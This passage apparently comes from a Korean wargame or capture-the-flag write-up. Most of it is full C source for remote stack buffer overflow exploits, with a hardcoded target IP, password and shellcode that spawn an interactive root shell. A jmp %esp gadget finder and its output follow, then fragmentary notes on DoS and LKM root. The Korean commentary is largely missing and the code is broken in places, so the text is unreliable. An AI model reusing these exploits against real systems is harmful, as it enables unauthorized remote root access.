    fprintf(stdout," [#2] Send password. \n");

#ifdef DEBUG
    fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

    /* send code */
    fprintf(stdout," [*] Send code. \n");
    fprintf(stdout," [*] Brute-force address: %p \n",bf_addr);
    send(socket_fd,__bigbf,strlen(__bigbf),0);
    memset((char *)readbuf,0,sizeof(readbuf));

    send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
    memset((char *)readbuf,0,sizeof(readbuf));
    recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
    fprintf(stdout," [#3] Send QUIT command. \n");

    fprintf(stdout," [ + ] Waiting, Shell. \n");
    sleep(1);

    send(socket_fd,command,strlen(command),0);
    memset((char *)readbuf,0,sizeof(readbuf));
    chk=recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);

    if(chk== - 1){

```

```

        fprintf(stdout," [-] Failed, reconnect attack. \n \n");
        close(socket_fd);
        continue;
    }
    else
    {
        fprintf(stdout,"%s \n",readbuf);
        (void)shell(socket_fd);
    }
    close(socket_fd);
}
}

```

```

void usage(char *args){
    fprintf(stdout," Usage: %s -options arguments \n \n",args);
    fprintf(stdout," -a [shelladdr]   - shell string addr. \n");
    fprintf(stdout," -h [hostname]    - target host. \n");
    fprintf(stdout," -p [port]       - port number. \n");
    fprintf(stdout," \n Example: %s -hlocalhost -a0xbffffbf4 \n \n",args);
    exit(0);
}

```

```

int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *he;
    struct sockaddr_in x_addr;

    if((he=gethostbyname(hostname))==NULL)
    {
        perror("gethostbyname");
        exit(1);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))== - 1)
    {

```

```

        perror("socket");
        exit(1);
    }
    x_addr.sin_family=AF_INET;
    x_addr.sin_port=htons(port);
    x_addr.sin_addr=((struct in_addr*)he->h_addr);
    bzero(&(x_addr.sin_zero),8);

    if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))== -1)
    {
        perror("connect");
        exit(1);
    }
    return(sock);
}

```

```

void shell(int socks)

```

```

{
    int died;
    char fall_again[1024];
    fd_set rset;
    bzero(&fall_again,1024);

    while(1)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(socks,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(socks+1,&rset,NULL,NULL,NULL);

        if(FD_ISSET(socks,&rset))
        {
            died=read(socks,fall_again,sizeof(fall_again)-1);
            if(died<=0)
            {

```



```

        fprintf(stdout," \n [*] Thanks. \n \n");
        exit(0);
    }
    fall_again[died]=0;
    fprintf(stdout,"%s",fall_again);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
    died=read(STDIN_FILENO,fall_again,sizeof(fall_again) - 1);
    if(died>0)
    {
        fall_again[died]=0;
        write(socks,fall_again,died);
    }
}
}
return;
}

/* eof */
--

```

jmp %esp가

stack

checking

exploit code

exploit code

- - DH-jmpesp.c - -

/\*

**\*\* DH-jmpesp - x86/redhat-linux level4 remote buffer overflow exploit**

**\*\* Version: jmp \*%esp exploit method**

**\*\* - -**

**\*\* exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.**

**\*\***

**\*\* - - How to exploit - -**

**\*\***

**\*\* bash\$ ./DH-jmpesp**

**\*\***

**\*\* DH-jmpesp - x86/redhat-linux level4 remote buffer overflow exploit.**

**\*\* Version: jmp \*%esp exploit method.**

**\*\***

**\*\* [ + ] Setting socket.**

**\*\* [#1] Connect, It's message.**

**\*\* [#2] Send password.**

**\*\* [ \* ] Send code.**

**\*\* [#3] Send QUIT command.**

**\*\* [ + ] Waiting, Shell.**

**\*\* uid=0 gid=0**

**\*\***

**\*\* - -**

**\*\* I like Zero and, Igniz!**

**\*/**

**#include <stdio.h>**

**#include <unistd.h>**

**#include <netdb.h>**

**#include <netinet/in.h>**

**#include <sys/socket.h>**

```

#define PASSWD "eoeks$tlffur&wk \n"
#define QUIT_CMD "QUIT \n" /* quit */
#define DEF_CMD "ksh -i; id \n" /* default command */
#define HOSTNAME "211.205.70.253"
#define PORT 23152
#define USER_CMD "USER0123456789012345678901234"
#define CHECK_BD "=CHECK1=" /* boundary str */

/* exploit method      jmp %esp      .
**                  code              .
*/

#define JMP_ESP (0x4212c5eb) /* library address - jmp %esp code */

char shellcode[]=
    "\ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
    "\ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";

u_char __bigbf[1024];
u_char __smlbf[256];
char readbuf[2048];
int chk=0;
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
    int socket_fd,i=0,j=0,a,port=(PORT);
    u_long retaddr=(JMP_ESP);
    char hostname[256]=HOSTNAME;
    memset((char *)__smlbf,0,sizeof(__smlbf));

```

```

        fprintf(stdout, "\n DH-jmpesp - x86/redhat-linux level4 remote buffer
overflow exploit. \n");
        fprintf(stdout, " Version: jmp *%%esp exploit method. \n \n");
        fflush(stdout);

        while((a=getopt(argc,argv,"h:p:j:"))!=EOF){
            switch(a){
                case 'h':
                    memset((char *)hostname,0,sizeof(hostname));
                    strncpy(hostname,optarg,sizeof(hostname) - 1);
                    break;

                case 'p':
                    port=atoi(optarg);
                    break;

                case 'j':
                    retaddr=strtoul(optarg,NULL,0);
                    break;

                case '?':
                    (void)usage(argv[0]);
                    break;
            }
        }

        /*      , frame pointer      overflow      . */
        for(i=0;i<120;i++)
            __smlbf[i]=0x41;

        *(long *)&__smlbf[i]=0x41414141; /* frame pointer */
        i+=4;
        /* jmp %esp code      , %esp+4      . */
        *(long *)&__smlbf[i]=retaddr; /* return address (jmp esp) */
        i+=4;
        /*      ret      , %esp+4      . */

```

```

        for(j=0;j<strlen(shellcode);j++) /* shellcode */
            __smlbf[i++] = shellcode[j];

        memset((char *)__bigbf,0,sizeof(__bigbf));
        snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s \n",USER_CMD,CHECK_BD,__smlbf);
        fprintf(stdout," [ + ] Setting socket. \n");
        socket_fd=setsock(hostname,port);
#ifdef DEBUG
        sleep(10);
#endif

        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
        fprintf(stdout," [#1] Connect, It's message. \n");
#ifdef DEBUG
        fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

        /* password */
        send(socket_fd,PASSWD,strlen(PASSWD),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
        fprintf(stdout," [#2] Send password. \n");
#ifdef DEBUG
        fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

        /* send code */
        fprintf(stdout," [*] Send code. \n");
        send(socket_fd,__bigbf,strlen(__bigbf),0);
        memset((char *)readbuf,0,sizeof(readbuf));

        send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
        fprintf(stdout," [#3] Send QUIT command. \n");

        fprintf(stdout," [ + ] Waiting, Shell. \n");

```

```

sleep(1);

send(socket_fd,command,strlen(command),0);
memset((char *)readbuf,0,sizeof(readbuf));
chk=recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);

if(chk== - 1){
    fprintf(stdout," [ - ] Failed, exploit. \n \n");
    close(socket_fd);
    exit(- 1);
}
else
{
    fprintf(stdout,"%s \n",readbuf);
    (void)shell(socket_fd);
}
close(socket_fd);
}

void usage(char *args){
    fprintf(stdout," Usage: %s -options arguments \n \n",args);
    fprintf(stdout," -j [jmpesp]      - jmp *%%esp address. \n");
    fprintf(stdout," -h [hostname]    - target host. \n");
    fprintf(stdout," -p [port]       - port number. \n");
    fprintf(stdout," \n Example: %s -hlocalhost -j0x41414141 \n \n",args);
    exit(0);
}

int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *he;
    struct sockaddr_in x_addr;

    if((he=gethostbyname(hostname))==NULL)

```

```

    {
        perror("gethostbyname");
        exit(1);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))==- 1)
    {
        perror("socket");
        exit(1);
    }
    x_addr.sin_family=AF_INET;
    x_addr.sin_port=htons(port);
    x_addr.sin_addr=((struct in_addr*)he->h_addr);
    bzero(&(x_addr.sin_zero),8);

    if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==- 1)
    {
        perror("connect");
        exit(1);
    }
    return(sock);
}

void shell(int socks)
{
    int died;
    char fall_again[1024];
    fd_set rset;
    bzero(&fall_again,1024);

    while(1)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(socks,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(socks + 1,&rset,NULL,NULL,NULL);

```

```

if(FD_ISSET(socks,&rset))
{
    died=read(socks,fall_again,sizeof(fall_again) - 1);
    if(died<=0)
    {
        fprintf(stdout," \n [*] Thanks. \n \n");
        exit(0);
    }
    fall_again[died]=0;
    fprintf(stdout,"%s",fall_again);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
    died=read(STDIN_FILENO,fall_again,sizeof(fall_again) - 1);
    if(died>0)
    {
        fall_again[died]=0;
        write(socks,fall_again,died);
    }
}

}
return;

}

/* eof */

--

jmp %esp code

```



```

- - DH-autofd.c - -
/*
** jmp *%esp code auto finder.
** idea method by bkbll ;D
** - -
** exploit by "DH" (lgniz), <2033010253@sdu.ac.kr>.
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

u_long start=0x4211cc79; /*
u_long r_n=0;
u_char *ptr;

/* segfault가 , . */
void print_err(){
    fprintf(stderr,"SIGSEGV exit. \n");
    fprintf(stderr,"error addr: %p \n",ptr+r_n);
    r_n++;
    exit(-1);
}

int main(){
    ptr=(u_char *)start;
    signal(SIGSEGV,print_err);

    /* stack */
    while((u_long)ptr+r_n<0xbfffffff){
        if((*ptr+r_n)==0xff && (*ptr+r_n+1)==0xe4){
            /* address */
            fprintf(stdout,"addr: %p \n",ptr+r_n);
            r_n+=2; /* (0xff,0xe4) */
        }
    }
}

```

```

        r_n++;
    }
    exit(0);
}
--

        ,                               jmp *%esp code
        . exploit                      , shell .
( RedHat Linux 9.0                      .)

```

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```

bash$ ./DH-autofd
addr: 0x42122ba7
addr: 0x42124720
addr: 0x421276c7
addr: 0x4212c53b
addr: 0x4212c5eb
addr: 0x42130b3b
SIGSEGV exit.
error addr: 0x42133000
bash$

```

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0x05.

chroot

index.html

, script , ( ? ),

perl , DoS,

race index.html

가 , perl while ksh while 가

perl , script ksh

while

( ? )

가 가 가 ,

^^

가 perl code shell script 가

code . (code/make.sh)

index.html 가

rule

index

, LKM root

DoS . (

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&

